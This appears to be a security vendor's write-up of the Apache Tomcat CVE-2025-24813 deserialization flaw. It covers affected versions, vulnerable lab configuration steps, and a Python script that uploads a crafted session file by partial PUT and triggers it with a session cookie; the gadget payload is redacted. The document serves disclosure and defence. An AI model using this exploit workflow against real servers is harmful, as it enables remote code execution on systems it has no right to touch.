- Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang, Qi Deng
- https://www.linkedin.com/posts/unit42_we-have-tested-cve-2025-24813-under-specific-activity-7306384143167168512-7-uj/
- https://x.com/Unit42_Intel/status/1900618521303740709
- https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
- https://nvd.nist.gov/vuln/detail/CVE-2025-24813
- https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html
- Apache Tomcat 11.0.0-M1 to 11.0.2
- Apache Tomcat 10.1.0-M1 to 10.1.34
- Apache Tomcat 9.0.0.M1 to 9.0.98
CVE-2025-24813 is a recently announced vulnerability for Apache Tomcat. Apache is an open-source web server platform, and Tomcat is software that allows Apache web servers to run Java servlets.
Exploiting this vulnerability consists of two steps:
- Arbitrary file writing
- Insecure deserialization
When session persistence is enabled in Tomcat, the server will serialize all active user sessions before shutting down. Upon restarting, Tomcat will deserialize these sessions, allowing user sessions to remain active without users being aware of the server restart.
However, if the HTTP PUT method in Tomcat is enabled, files uploaded via HTTP PUT requests may be cached in the same directory where serialized session data is stored. On a vulnerable web server, an attacker might be able to save malicious files to the serialized session data directory.
After saving a malicious file to the directory for serialized session data. An attacker could use a crafted cookie to "wake up" a session. This could potentially trigger Tomcat to deserialize a maliciously crafted session file, allowing exploitation through deserialization vulnerabilities associated with CVE-2025-24813.
We successfully tested an exploit for CVE-2025-24813 on an Apache web server running an outdated version of Tomcat with an outdated version of Java. Some of this information has already been posted at Lingua Diabolis.
Note: All URLs below have been de-fanged.
- Ubuntu 24 Server
- Apache-Tomcat 9.0.90
- hxxps[:]//archive.apache[.]org/dist/tomcat/tomcat-9/v9.0.90/bin/apache-tomcat-9.0.90.zip
- Java 8.0.442-zulu
- Some depdendencies
- hxxps[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
- htxxps[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.jar
-
Enable PUT
Edit
tomcat/conf/web.xmlto add areadonlyparameter under thedefaultservlet name section and set it tofalse. An example is shown below near the end of the code.<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet>
-
Enable Session persistence
Edit
/tomcat/conf/content.xmland add the following setting.<Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore" /> </Manager>
-
Using the following commands, create a directory at
/tomcat/webapps/ROOT/WEB-INF/liband place two outdated dependencies within it.mkdir ./tomcat/webapps/ROOT/WEB-INF/lib && cd ./tomcat/webapps/ROOT/WEB-INF/lib wget hxxps[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar wget hxxps[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.jar
We used Java Chains to create a specially crafted session file and send it to a temporarily vulnerable web server running Apache Tomcat at www.wiresharkworkshop[.]online. Below is an example of Python script used for this purpose. The malicious session file is named gopan.session but can be changed to any name.
import requests
import base64
import os
TARGET_IP = "hxxp[:]//www.wiresharkworkshop[.]online:8080/"
# b64_encoded_payload = "****[information redacted]****"
output_file_path = "decoded_chain.bin"
decoded_content = base64.b64decode(b64_encoded_payload)
with open(output_file_path, "wb") as f:
f.write(decoded_content)
put_url = f"{TARGET_IP}/gopan.session"
put_headers = {"Content-Range": "bytes 0-5/100"}
with open(output_file_path, "rb") as f:
put_response = requests.put(put_url, data=f, headers=put_headers)
os.remove(output_file_path)
get_url = f"{TARGET_IP}/"
get_headers = {"Cookie": "JSESSIONID=.gopan"}
get_response = requests.get(get_url, headers=get_headers)